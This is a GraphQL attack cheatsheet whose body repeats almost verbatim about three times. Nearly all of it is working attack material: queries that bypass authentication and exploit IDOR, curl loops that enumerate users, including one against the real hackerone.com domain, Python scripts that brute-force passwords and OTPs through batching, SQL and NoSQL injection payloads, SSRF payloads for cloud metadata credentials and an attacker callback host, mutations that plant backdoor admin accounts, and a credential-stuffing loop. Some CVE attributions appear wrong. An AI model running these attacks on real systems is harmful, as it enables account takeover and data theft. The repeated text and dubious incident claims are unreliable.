GraphQL Injection Cheatsheet: Introspection, IDOR, Batching & Injection Attacks
Thu May 28 2026
Category: Cheatsheet
Introspection — Schema Enumeration
GraphQL introspection reveals the full schema: types, queries, mutations, fields.
# Full introspection query
{
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args { ...InputValue }
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args { ...InputValue }
type { ...TypeRef }
isDeprecated
deprecationReason
}
inputFields { ...InputValue }
interfaces { ...TypeRef }
enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason }
possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } }
}
# Quick introspection via curl
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name } } } }"}'
# Use graphql-voyager or InQL to visualize
Field Suggestion Attack
When introspection is disabled, use typos to trigger suggestions:
# Send a typo — server may suggest correct field name
{ usr { id } }
# Error: "Did you mean 'user'?"
{ users { passwrd } }
# Error: "Did you mean 'password'?"
# Systematically probe field names
{ user { a } }
{ user { ad } }
{ user { adm } }
{ user { admi } }
{ user { admin } }
# Automate field discovery via suggestions
import requests, string
url = "https://target.com/graphql"
headers = {"Content-Type": "application/json"}
wordlist = ["id","name","email","password","token","role","admin","secret","key","hash","salt","phone","address","dob","ssn","credit"]
for field in wordlist:
q = '{"query":"{ user { ' + field + ' } }"}'
r = requests.post(url, data=q, headers=headers)
if "Did you mean" not in r.text and "Cannot query field" not in r.text:
print(f"[+] Valid field: {field}")
elif "Did you mean" in r.text:
print(f"[~] Suggestion for '{field}': {r.text[r.text.find('Did you mean'):][:60]}")
Authentication Bypass
# Try accessing protected queries without auth
{
users {
id
email
password
role
}
}
# Check if mutations work unauthenticated
mutation {
createUser(username: "admin2", password: "hacked", role: "admin") {
id
token
}
}
# Password reset without token
mutation {
resetPassword(username: "admin", newPassword: "hacked") {
success
}
}
# Access another user's data (IDOR)
{
user(id: "1") {
id
email
privateNotes
paymentMethods { cardNumber }
}
}
IDOR — Object ID Manipulation
# Enumerate users by ID
{
user(id: "1") { email role }
}
{
user(id: "2") { email role }
}
# Access orders/invoices of other users
{
order(id: "1001") {
userId
items { name price }
totalAmount
shippingAddress
}
}
# Try UUIDs if sequential blocked
{
user(id: "00000000-0000-0000-0000-000000000001") { email }
}
# Admin check via role field
{
user(id: "1") { id email role isAdmin }
}
# Automate IDOR via curl loop
for id in $(seq 1 100); do
result=$(curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer user_token" \
-d "{\"query\":\"{ user(id: \\\"$id\\\") { id email role } }\"}")
echo "ID $id: $result" | grep -v "null"
done
Query Batching — DoS & Brute Force
GraphQL allows multiple queries in one request:
[
{"query": "{ user(id: \"1\") { email } }"},
{"query": "{ user(id: \"2\") { email } }"},
{"query": "{ user(id: \"3\") { email } }"}
]
Brute Force via Batching
import requests, json
url = "https://target.com/graphql"
headers = {"Content-Type": "application/json", "Authorization": "Bearer attacker_token"}
# Brute force OTP in a single request (bypasses rate limiting per IP)
passwords = ["0000","1111","2222","3333","4444","5555","6666","7777","8888","9999"]
batch = [
{"query": f'mutation {{ login(username: "admin", password: "{p}") {{ token }} }}'}
for p in passwords
]
r = requests.post(url, json=batch, headers=headers)
results = r.json()
for i, res in enumerate(results):
if "token" in str(res):
print(f"[+] Valid password: {passwords[i]}")
print(f"Token: {res}")
DoS via Query Depth / Complexity
# Deeply nested query → server CPU exhaustion
{
user {
friends {
friends {
friends {
friends {
friends {
friends {
id email
}
}
}
}
}
}
}
}
# Alias amplification — same expensive query executed N times
{
a1: users { id email orders { id items { name } } }
a2: users { id email orders { id items { name } } }
a3: users { id email orders { id items { name } } }
a4: users { id email orders { id items { name } } }
a5: users { id email orders { id items { name } } }
}
SQL Injection via GraphQL Arguments
# If resolver passes args directly to SQL:
{
user(id: "1 OR 1=1--") {
id email
}
}
{
user(username: "admin'--") {
id email password
}
}
# Union-based
{
user(id: "1 UNION SELECT 1,username,password,4 FROM users--") {
id email
}
}
# Time-based blind
{
user(id: "1; IF(1=1, WAITFOR DELAY '0:0:5', 0)--") {
id
}
}
NoSQL Injection via GraphQL
# MongoDB operator injection through GraphQL
{
user(username: "admin", password: {$gt: ""}) {
id token
}
}
# If variables are used:
query Login($username: String, $password: String) {
user(username: $username, password: $password) { token }
}
Variables:
{"username": "admin", "password": {"$ne": "wrongpassword"}}
SSRF via GraphQL
# If schema includes URL-fetching functionality:
mutation {
importData(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") {
result
}
}
mutation {
webhook(url: "http://internal-service:8080/admin") {
response
}
}
# DNS callback for blind SSRF detection
mutation {
importData(url: "http://attacker.burpcollaborator.net/graphql-ssrf") {
result
}
}
GraphQL Injection — Argument Pollution
# Send unexpected argument types
{
user(id: null) { email }
}
{
user(id: [1,2,3]) { email }
}
{
user(id: {__proto__: {admin: true}}) { email }
}
# Integer overflow
{
user(id: 9999999999999999999) { email }
}
# Empty string / whitespace
{
user(id: "") { email }
}
{
user(id: " ") { email }
}
Mutation Abuse
# Create admin account
mutation {
register(
username: "backdoor",
password: "Admin1234!",
email: "[email protected]",
role: "ADMIN"
) {
id
token
}
}
# Mass assignment via mutation
mutation {
updateProfile(
id: "victim_id",
data: {
email: "[email protected]",
password: "hacked",
role: "admin",
isVerified: true,
balance: 99999
}
) {
success
}
}
# Delete other users
mutation {
deleteUser(id: "1") { success }
deleteUser(id: "2") { success }
}
Subscription — Event Hijacking
# Subscribe to events belonging to another user
subscription {
messageReceived(userId: "victim_id") {
content
sender {
email
}
timestamp
}
}
subscription {
orderUpdate(orderId: "1001") {
status
trackingNumber
shippingAddress
}
}
GraphQL Path Traversal
# Uncommon GraphQL endpoints
/graphql
/graphiql
/api/graphql
/v1/graphql
/v2/graphql
/api/v1/graphql
/graph
/gql
/playground
/console
/explorer
/.well-known/graphql
/graphql/console
/graphql/playground
/api/explorer
# Discover GraphQL endpoint
ffuf -u https://target.com/FUZZ \
-w /usr/share/wordlists/dirb/common.txt \
-H "Content-Type: application/json" \
-d '{"query":"{ __typename }"}' \
-fc 404,405
Tools
# InQL — Burp extension + CLI
inql -t https://target.com/graphql -o output/
# GraphQL Map — attack automation
python3 graphqlmap.py -u https://target.com/graphql --method POST
# clairvoyance — field discovery without introspection
python3 -m clairvoyance -o schema.json https://target.com/graphql
# Altair GraphQL Client — GUI for exploration
# graphql-cop — security audit
python3 graphql-cop.py -t https://target.com/graphql
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| HackerOne GraphQL IDOR | 2019 | HackerOne | Read private bug reports via teamProfiles query — $20,000 |
| Shopify GraphQL | 2020 | Shopify Partners | IDOR in app query → read other stores' data |
| GitLab GraphQL | 2021 | GitLab | projects query exposed private project names to unauthenticated users |
| CVE-2021-4191 | 2021 | GitLab | Unauthenticated introspection → user enumeration |
| Magento GraphQL | 2022 | Adobe Magento | Auth bypass via batch mutation → account takeover |
| GitHub GraphQL | 2018 | GitHub | repository query with owner arg → access private repo metadata |
Example: HackerOne — Private Bug Reports via IDOR
# Step 1: Enable introspection (if available) or guess from API docs
curl -s -X POST https://hackerone.com/graphql \
-H "Content-Type: application/json" \
-H "Cookie: session=your_session" \
-d '{"query":"{ __schema { types { name fields { name } } } "}' | python3 -m json.tool
# Step 2: Find report query — try accessing report by ID
curl -s -X POST https://hackerone.com/graphql \
-H "Content-Type: application/json" \
-H "Cookie: session=your_session" \
-d '{"query":"{ report(id: 1234567) { title vulnerability_information } }"}'
# Response: private bug report of another researcher — IDOR!
# Step 3: Enumerate reports
for id in $(seq 1234500 1234600); do
result=$(curl -s -X POST https://hackerone.com/graphql \
-H "Content-Type: application/json" \
-H "Cookie: session=your_session" \
-d "{\"query\":\"{ report(id: $id) { title state } }\"}")
echo "Report $id: $(echo $result | python3 -c 'import sys,json; d=json.load(sys.stdin); print(d.get("data",{}).get("report",{}).get("title","null"))')"
done
Example: GitLab — Unauthenticated User Enumeration (CVE-2021-4191)
# CVE-2021-4191: unauthenticated GraphQL introspection exposed user query
# GitLab < 13.10.3 allowed introspection without authentication
# Step 1: Confirm introspection works
curl -s -X POST https://gitlab.target.com/api/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __typename }"}'
# Response: {"data":{"__typename":"Query"}} ← works without auth!
# Step 2: Enumerate users
curl -s -X POST https://gitlab.target.com/api/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ users { nodes { id username name publicEmail } } }"}'
# Returns all usernames, names, and public emails
# Step 3: Target with credentials stuffing
while read username; do
curl -s -X POST https://gitlab.target.com/api/graphql \
-d "{\"query\":\"mutation { userLogin(username: \\\"$username\\\", password: \\\"Summer2024!\\\") { token } }\"}" \
-H "Content-Type: application/json"
done < usernames.txt
Example: GraphQL Batching — Rate Limit Bypass for OTP Brute Force
# Normal brute force: rate limited at 5 requests/minute
# GraphQL batching sends all guesses in ONE request
# Create batch of 10,000 OTP guesses
python3 << 'EOF'
import json, requests
url = "https://target.com/graphql"
headers = {"Content-Type": "application/json", "Cookie": "session=attacker_token"}
# Build batch query for all 4-digit OTPs
batch = []
for code in range(10000):
batch.append({
"query": f'mutation {{ verifyOTP(userId: "victim123", code: "{str(code).zfill(4)}") {{ success token }} }}'
})
# Send all 10,000 in one request (bypasses per-request rate limits)
r = requests.post(url, json=batch, headers=headers)
results = r.json()
for i, res in enumerate(results):
if isinstance(res, dict) and res.get("data", {}).get("verifyOTP", {}).get("success"):
print(f"[+] Valid OTP: {str(i).zfill(4)}")
print(f"[+] Token: {res}")
break
EOF
Example: Introspection Disabled → Field Discovery via Suggestions
# Target has introspection disabled — use clairvoyance for wordlist-based discovery
pip3 install clairvoyance
# Run discovery (will detect schema via suggestion errors)
python3 -m clairvoyance \
-o discovered_schema.json \
-H "Authorization: Bearer user_token" \
https://target.com/graphql
# Convert discovered schema to human-readable
cat discovered_schema.json | python3 -c "
import sys, json
schema = json.load(sys.stdin)
for t in schema.get('__schema', {}).get('types', []):
if not t['name'].startswith('__') and t.get('fields'):
print(f\"\nType: {t['name']}\")
for f in t['fields']:
print(f\" - {f['name']}: {f['type']}\")
"
Example: Magento GraphQL — Auth Bypass via Mutation (CVE-2022-24086)
# Step 1: Probe for unprotected mutations
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation { createCustomer(input: {firstname:\"Test\",lastname:\"User\",email:\"[email protected]\",password:\"P@ss1234!\",is_subscribed:false}) { customer { email } } }"}'
# Step 2: Get customer token (login)
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation { generateCustomerToken(email:\"[email protected]\",password:\"P@ss1234!\") { token } }"}'
# Step 3: Access admin functionality with customer token
TOKEN="eyJ..."
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ customer { firstname lastname email orders { items { id } } } }"}'
Defense Checklist
- Disable introspection in production (
introspection: false) - Implement query depth limiting (max 5-7 levels)
- Implement query complexity analysis and hard limits
- Disable batching or limit batch size (max 10 queries)
- Enforce per-user rate limiting, not just per-IP
- Validate field arguments server-side before passing to resolvers
- Apply authorization checks at the resolver level, not just at the route level
- Use persistent queries (allowlisted queries only) in production
- Log all GraphQL operations for audit
References
Introspection — Schema Enumeration
GraphQL introspection reveals the full schema: types, queries, mutations, fields.
# Full introspection query
{
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args { ...InputValue }
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args { ...InputValue }
type { ...TypeRef }
isDeprecated
deprecationReason
}
inputFields { ...InputValue }
interfaces { ...TypeRef }
enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason }
possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } }
}
# Quick introspection via curl
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name } } } }"}'
# Use graphql-voyager or InQL to visualize
Field Suggestion Attack
When introspection is disabled, use typos to trigger suggestions:
# Send a typo — server may suggest correct field name
{ usr { id } }
# Error: "Did you mean 'user'?"
{ users { passwrd } }
# Error: "Did you mean 'password'?"
# Systematically probe field names
{ user { a } }
{ user { ad } }
{ user { adm } }
{ user { admi } }
{ user { admin } }
# Automate field discovery via suggestions
import requests, string
url = "https://target.com/graphql"
headers = {"Content-Type": "application/json"}
wordlist = ["id","name","email","password","token","role","admin","secret","key","hash","salt","phone","address","dob","ssn","credit"]
for field in wordlist:
q = '{"query":"{ user { ' + field + ' } }"}'
r = requests.post(url, data=q, headers=headers)
if "Did you mean" not in r.text and "Cannot query field" not in r.text:
print(f"[+] Valid field: {field}")
elif "Did you mean" in r.text:
print(f"[~] Suggestion for '{field}': {r.text[r.text.find('Did you mean'):][:60]}")
Authentication Bypass
# Try accessing protected queries without auth
{
users {
id
email
password
role
}
}
# Check if mutations work unauthenticated
mutation {
createUser(username: "admin2", password: "hacked", role: "admin") {
id
token
}
}
# Password reset without token
mutation {
resetPassword(username: "admin", newPassword: "hacked") {
success
}
}
# Access another user's data (IDOR)
{
user(id: "1") {
id
email
privateNotes
paymentMethods { cardNumber }
}
}
IDOR — Object ID Manipulation
# Enumerate users by ID
{
user(id: "1") { email role }
}
{
user(id: "2") { email role }
}
# Access orders/invoices of other users
{
order(id: "1001") {
userId
items { name price }
totalAmount
shippingAddress
}
}
# Try UUIDs if sequential blocked
{
user(id: "00000000-0000-0000-0000-000000000001") { email }
}
# Admin check via role field
{
user(id: "1") { id email role isAdmin }
}
# Automate IDOR via curl loop
for id in $(seq 1 100); do
result=$(curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer user_token" \
-d "{\"query\":\"{ user(id: \\\"$id\\\") { id email role } }\"}")
echo "ID $id: $result" | grep -v "null"
done
Query Batching — DoS & Brute Force
GraphQL allows multiple queries in one request:
[
{"query": "{ user(id: \"1\") { email } }"},
{"query": "{ user(id: \"2\") { email } }"},
{"query": "{ user(id: \"3\") { email } }"}
]
Brute Force via Batching
import requests, json
url = "https://target.com/graphql"
headers = {"Content-Type": "application/json", "Authorization": "Bearer attacker_token"}
# Brute force OTP in a single request (bypasses rate limiting per IP)
passwords = ["0000","1111","2222","3333","4444","5555","6666","7777","8888","9999"]
batch = [
{"query": f'mutation {{ login(username: "admin", password: "{p}") {{ token }} }}'}
for p in passwords
]
r = requests.post(url, json=batch, headers=headers)
results = r.json()
for i, res in enumerate(results):
if "token" in str(res):
print(f"[+] Valid password: {passwords[i]}")
print(f"Token: {res}")
DoS via Query Depth / Complexity
# Deeply nested query → server CPU exhaustion
{
user {
friends {
friends {
friends {
friends {
friends {
friends {
id email
}
}
}
}
}
}
}
}
# Alias amplification — same expensive query executed N times
{
a1: users { id email orders { id items { name } } }
a2: users { id email orders { id items { name } } }
a3: users { id email orders { id items { name } } }
a4: users { id email orders { id items { name } } }
a5: users { id email orders { id items { name } } }
}
SQL Injection via GraphQL Arguments
# If resolver passes args directly to SQL:
{
user(id: "1 OR 1=1--") {
id email
}
}
{
user(username: "admin'--") {
id email password
}
}
# Union-based
{
user(id: "1 UNION SELECT 1,username,password,4 FROM users--") {
id email
}
}
# Time-based blind
{
user(id: "1; IF(1=1, WAITFOR DELAY '0:0:5', 0)--") {
id
}
}
NoSQL Injection via GraphQL
# MongoDB operator injection through GraphQL
{
user(username: "admin", password: {$gt: ""}) {
id token
}
}
# If variables are used:
query Login($username: String, $password: String) {
user(username: $username, password: $password) { token }
}
Variables:
{"username": "admin", "password": {"$ne": "wrongpassword"}}
SSRF via GraphQL
# If schema includes URL-fetching functionality:
mutation {
importData(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") {
result
}
}
mutation {
webhook(url: "http://internal-service:8080/admin") {
response
}
}
# DNS callback for blind SSRF detection
mutation {
importData(url: "http://attacker.burpcollaborator.net/graphql-ssrf") {
result
}
}
GraphQL Injection — Argument Pollution
# Send unexpected argument types
{
user(id: null) { email }
}
{
user(id: [1,2,3]) { email }
}
{
user(id: {__proto__: {admin: true}}) { email }
}
# Integer overflow
{
user(id: 9999999999999999999) { email }
}
# Empty string / whitespace
{
user(id: "") { email }
}
{
user(id: " ") { email }
}
Mutation Abuse
# Create admin account
mutation {
register(
username: "backdoor",
password: "Admin1234!",
email: "[email protected]",
role: "ADMIN"
) {
id
token
}
}
# Mass assignment via mutation
mutation {
updateProfile(
id: "victim_id",
data: {
email: "[email protected]",
password: "hacked",
role: "admin",
isVerified: true,
balance: 99999
}
) {
success
}
}
# Delete other users
mutation {
deleteUser(id: "1") { success }
deleteUser(id: "2") { success }
}
Subscription — Event Hijacking
# Subscribe to events belonging to another user
subscription {
messageReceived(userId: "victim_id") {
content
sender {
email
}
timestamp
}
}
subscription {
orderUpdate(orderId: "1001") {
status
trackingNumber
shippingAddress
}
}
GraphQL Path Traversal
# Uncommon GraphQL endpoints
/graphql
/graphiql
/api/graphql
/v1/graphql
/v2/graphql
/api/v1/graphql
/graph
/gql
/playground
/console
/explorer
/.well-known/graphql
/graphql/console
/graphql/playground
/api/explorer
# Discover GraphQL endpoint
ffuf -u https://target.com/FUZZ \
-w /usr/share/wordlists/dirb/common.txt \
-H "Content-Type: application/json" \
-d '{"query":"{ __typename }"}' \
-fc 404,405
Tools
# InQL — Burp extension + CLI
inql -t https://target.com/graphql -o output/
# GraphQL Map — attack automation
python3 graphqlmap.py -u https://target.com/graphql --method POST
# clairvoyance — field discovery without introspection
python3 -m clairvoyance -o schema.json https://target.com/graphql
# Altair GraphQL Client — GUI for exploration
# graphql-cop — security audit
python3 graphql-cop.py -t https://target.com/graphql
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| HackerOne GraphQL IDOR | 2019 | HackerOne | Read private bug reports via teamProfiles query — $20,000 |
| Shopify GraphQL | 2020 | Shopify Partners | IDOR in app query → read other stores' data |
| GitLab GraphQL | 2021 | GitLab | projects query exposed private project names to unauthenticated users |
| CVE-2021-4191 | 2021 | GitLab | Unauthenticated introspection → user enumeration |
| Magento GraphQL | 2022 | Adobe Magento | Auth bypass via batch mutation → account takeover |
| GitHub GraphQL | 2018 | GitHub | repository query with owner arg → access private repo metadata |
Example: HackerOne — Private Bug Reports via IDOR
# Step 1: Enable introspection (if available) or guess from API docs
curl -s -X POST https://hackerone.com/graphql \
-H "Content-Type: application/json" \
-H "Cookie: session=your_session" \
-d '{"query":"{ __schema { types { name fields { name } } } "}' | python3 -m json.tool
# Step 2: Find report query — try accessing report by ID
curl -s -X POST https://hackerone.com/graphql \
-H "Content-Type: application/json" \
-H "Cookie: session=your_session" \
-d '{"query":"{ report(id: 1234567) { title vulnerability_information } }"}'
# Response: private bug report of another researcher — IDOR!
# Step 3: Enumerate reports
for id in $(seq 1234500 1234600); do
result=$(curl -s -X POST https://hackerone.com/graphql \
-H "Content-Type: application/json" \
-H "Cookie: session=your_session" \
-d "{\"query\":\"{ report(id: $id) { title state } }\"}")
echo "Report $id: $(echo $result | python3 -c 'import sys,json; d=json.load(sys.stdin); print(d.get("data",{}).get("report",{}).get("title","null"))')"
done
Example: GitLab — Unauthenticated User Enumeration (CVE-2021-4191)
# CVE-2021-4191: unauthenticated GraphQL introspection exposed user query
# GitLab < 13.10.3 allowed introspection without authentication
# Step 1: Confirm introspection works
curl -s -X POST https://gitlab.target.com/api/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __typename }"}'
# Response: {"data":{"__typename":"Query"}} ← works without auth!
# Step 2: Enumerate users
curl -s -X POST https://gitlab.target.com/api/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ users { nodes { id username name publicEmail } } }"}'
# Returns all usernames, names, and public emails
# Step 3: Target with credentials stuffing
while read username; do
curl -s -X POST https://gitlab.target.com/api/graphql \
-d "{\"query\":\"mutation { userLogin(username: \\\"$username\\\", password: \\\"Summer2024!\\\") { token } }\"}" \
-H "Content-Type: application/json"
done < usernames.txt
Example: GraphQL Batching — Rate Limit Bypass for OTP Brute Force
# Normal brute force: rate limited at 5 requests/minute
# GraphQL batching sends all guesses in ONE request
# Create batch of 10,000 OTP guesses
python3 << 'EOF'
import json, requests
url = "https://target.com/graphql"
headers = {"Content-Type": "application/json", "Cookie": "session=attacker_token"}
# Build batch query for all 4-digit OTPs
batch = []
for code in range(10000):
batch.append({
"query": f'mutation {{ verifyOTP(userId: "victim123", code: "{str(code).zfill(4)}") {{ success token }} }}'
})
# Send all 10,000 in one request (bypasses per-request rate limits)
r = requests.post(url, json=batch, headers=headers)
results = r.json()
for i, res in enumerate(results):
if isinstance(res, dict) and res.get("data", {}).get("verifyOTP", {}).get("success"):
print(f"[+] Valid OTP: {str(i).zfill(4)}")
print(f"[+] Token: {res}")
break
EOF
Example: Introspection Disabled → Field Discovery via Suggestions
# Target has introspection disabled — use clairvoyance for wordlist-based discovery
pip3 install clairvoyance
# Run discovery (will detect schema via suggestion errors)
python3 -m clairvoyance \
-o discovered_schema.json \
-H "Authorization: Bearer user_token" \
https://target.com/graphql
# Convert discovered schema to human-readable
cat discovered_schema.json | python3 -c "
import sys, json
schema = json.load(sys.stdin)
for t in schema.get('__schema', {}).get('types', []):
if not t['name'].startswith('__') and t.get('fields'):
print(f\"\nType: {t['name']}\")
for f in t['fields']:
print(f\" - {f['name']}: {f['type']}\")
"
Example: Magento GraphQL — Auth Bypass via Mutation (CVE-2022-24086)
# Step 1: Probe for unprotected mutations
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation { createCustomer(input: {firstname:\"Test\",lastname:\"User\",email:\"[email protected]\",password:\"P@ss1234!\",is_subscribed:false}) { customer { email } } }"}'
# Step 2: Get customer token (login)
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation { generateCustomerToken(email:\"[email protected]\",password:\"P@ss1234!\") { token } }"}'
# Step 3: Access admin functionality with customer token
TOKEN="eyJ..."
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ customer { firstname lastname email orders { items { id } } } }"}'
Defense Checklist
- Disable introspection in production (
introspection: false) - Implement query depth limiting (max 5-7 levels)
- Implement query complexity analysis and hard limits
- Disable batching or limit batch size (max 10 queries)
- Enforce per-user rate limiting, not just per-IP
- Validate field arguments server-side before passing to resolvers
- Apply authorization checks at the resolver level, not just at the route level
- Use persistent queries (allowlisted queries only) in production
- Log all GraphQL operations for audit
References
- PortSwigger GraphQL API Vulnerabilities
- PayloadsAllTheThings GraphQL
- HackTricks GraphQL
- InQL Burp Extension
Introspection — Schema Enumeration
GraphQL introspection reveals the full schema: types, queries, mutations, fields.
# Full introspection query
{
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args { ...InputValue }
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args { ...InputValue }
type { ...TypeRef }
isDeprecated
deprecationReason
}
inputFields { ...InputValue }
interfaces { ...TypeRef }
enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason }
possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } }
}
# Quick introspection via curl
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name } } } }"}'
# Use graphql-voyager or InQL to visualize
Field Suggestion Attack
When introspection is disabled, use typos to trigger suggestions:
# Send a typo — server may suggest correct field name
{ usr { id } }
# Error: "Did you mean 'user'?"
{ users { passwrd } }
# Error: "Did you mean 'password'?"
# Systematically probe field names
{ user { a } }
{ user { ad } }
{ user { adm } }
{ user { admi } }
{ user { admin } }
# Automate field discovery via suggestions
import requests, string
url = "https://target.com/graphql"
headers = {"Content-Type": "application/json"}
wordlist = ["id","name","email","password","token","role","admin","secret","key","hash","salt","phone","address","dob","ssn","credit"]
for field in wordlist:
q = '{"query":"{ user { ' + field + ' } }"}'
r = requests.post(url, data=q, headers=headers)
if "Did you mean" not in r.text and "Cannot query field" not in r.text:
print(f"[+] Valid field: {field}")
elif "Did you mean" in r.text:
print(f"[~] Suggestion for '{field}': {r.text[r.text.find('Did you mean'):][:60]}")
Authentication Bypass
# Try accessing protected queries without auth
{
users {
id
email
password
role
}
}
# Check if mutations work unauthenticated
mutation {
createUser(username: "admin2", password: "hacked", role: "admin") {
id
token
}
}
# Password reset without token
mutation {
resetPassword(username: "admin", newPassword: "hacked") {
success
}
}
# Access another user's data (IDOR)
{
user(id: "1") {
id
email
privateNotes
paymentMethods { cardNumber }
}
}
IDOR — Object ID Manipulation
# Enumerate users by ID
{
user(id: "1") { email role }
}
{
user(id: "2") { email role }
}
# Access orders/invoices of other users
{
order(id: "1001") {
userId
items { name price }
totalAmount
shippingAddress
}
}
# Try UUIDs if sequential blocked
{
user(id: "00000000-0000-0000-0000-000000000001") { email }
}
# Admin check via role field
{
user(id: "1") { id email role isAdmin }
}
# Automate IDOR via curl loop
for id in $(seq 1 100); do
result=$(curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer user_token" \
-d "{\"query\":\"{ user(id: \\\"$id\\\") { id email role } }\"}")
echo "ID $id: $result" | grep -v "null"
done
Query Batching — DoS & Brute Force
GraphQL allows multiple queries in one request:
[
{"query": "{ user(id: \"1\") { email } }"},
{"query": "{ user(id: \"2\") { email } }"},
{"query": "{ user(id: \"3\") { email } }"}
]
Brute Force via Batching
import requests, json
url = "https://target.com/graphql"
headers = {"Content-Type": "application/json", "Authorization": "Bearer attacker_token"}
# Brute force OTP in a single request (bypasses rate limiting per IP)
passwords = ["0000","1111","2222","3333","4444","5555","6666","7777","8888","9999"]
batch = [
{"query": f'mutation {{ login(username: "admin", password: "{p}") {{ token }} }}'}
for p in passwords
]
r = requests.post(url, json=batch, headers=headers)
results = r.json()
for i, res in enumerate(results):
if "token" in str(res):
print(f"[+] Valid password: {passwords[i]}")
print(f"Token: {res}")
DoS via Query Depth / Complexity
# Deeply nested query → server CPU exhaustion
{
user {
friends {
friends {
friends {
friends {
friends {
friends {
id email
}
}
}
}
}
}
}
}
# Alias amplification — same expensive query executed N times
{
a1: users { id email orders { id items { name } } }
a2: users { id email orders { id items { name } } }
a3: users { id email orders { id items { name } } }
a4: users { id email orders { id items { name } } }
a5: users { id email orders { id items { name } } }
}
SQL Injection via GraphQL Arguments
# If resolver passes args directly to SQL:
{
user(id: "1 OR 1=1--") {
id email
}
}
{
user(username: "admin'--") {
id email password
}
}
# Union-based
{
user(id: "1 UNION SELECT 1,username,password,4 FROM users--") {
id email
}
}
# Time-based blind
{
user(id: "1; IF(1=1, WAITFOR DELAY '0:0:5', 0)--") {
id
}
}
NoSQL Injection via GraphQL
# MongoDB operator injection through GraphQL
{
user(username: "admin", password: {$gt: ""}) {
id token
}
}
# If variables are used:
query Login($username: String, $password: String) {
user(username: $username, password: $password) { token }
}
Variables:
{"username": "admin", "password": {"$ne": "wrongpassword"}}
SSRF via GraphQL
# If schema includes URL-fetching functionality:
mutation {
importData(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") {
result
}
}
mutation {
webhook(url: "http://internal-service:8080/admin") {
response
}
}
# DNS callback for blind SSRF detection
mutation {
importData(url: "http://attacker.burpcollaborator.net/graphql-ssrf") {
result
}
}
GraphQL Injection — Argument Pollution
# Send unexpected argument types
{
user(id: null) { email }
}
{
user(id: [1,2,3]) { email }
}
{
user(id: {__proto__: {admin: true}}) { email }
}
# Integer overflow
{
user(id: 9999999999999999999) { email }
}
# Empty string / whitespace
{
user(id: "") { email }
}
{
user(id: " ") { email }
}
Mutation Abuse
# Create admin account
mutation {
register(
username: "backdoor",
password: "Admin1234!",
email: "[email protected]",
role: "ADMIN"
) {
id
token
}
}
# Mass assignment via mutation
mutation {
updateProfile(
id: "victim_id",
data: {
email: "[email protected]",
password: "hacked",
role: "admin",
isVerified: true,
balance: 99999
}
) {
success
}
}
# Delete other users
mutation {
deleteUser(id: "1") { success }
deleteUser(id: "2") { success }
}
Subscription — Event Hijacking
# Subscribe to events belonging to another user
subscription {
messageReceived(userId: "victim_id") {
content
sender {
email
}
timestamp
}
}
subscription {
orderUpdate(orderId: "1001") {
status
trackingNumber
shippingAddress
}
}
GraphQL Path Traversal
# Uncommon GraphQL endpoints
/graphql
/graphiql
/api/graphql
/v1/graphql
/v2/graphql
/api/v1/graphql
/graph
/gql
/playground
/console
/explorer
/.well-known/graphql
/graphql/console
/graphql/playground
/api/explorer
# Discover GraphQL endpoint
ffuf -u https://target.com/FUZZ \
-w /usr/share/wordlists/dirb/common.txt \
-H "Content-Type: application/json" \
-d '{"query":"{ __typename }"}' \
-fc 404,405
Tools
# InQL — Burp extension + CLI
inql -t https://target.com/graphql -o output/
# GraphQL Map — attack automation
python3 graphqlmap.py -u https://target.com/graphql --method POST
# clairvoyance — field discovery without introspection
python3 -m clairvoyance -o schema.json https://target.com/graphql
# Altair GraphQL Client — GUI for exploration
# graphql-cop — security audit
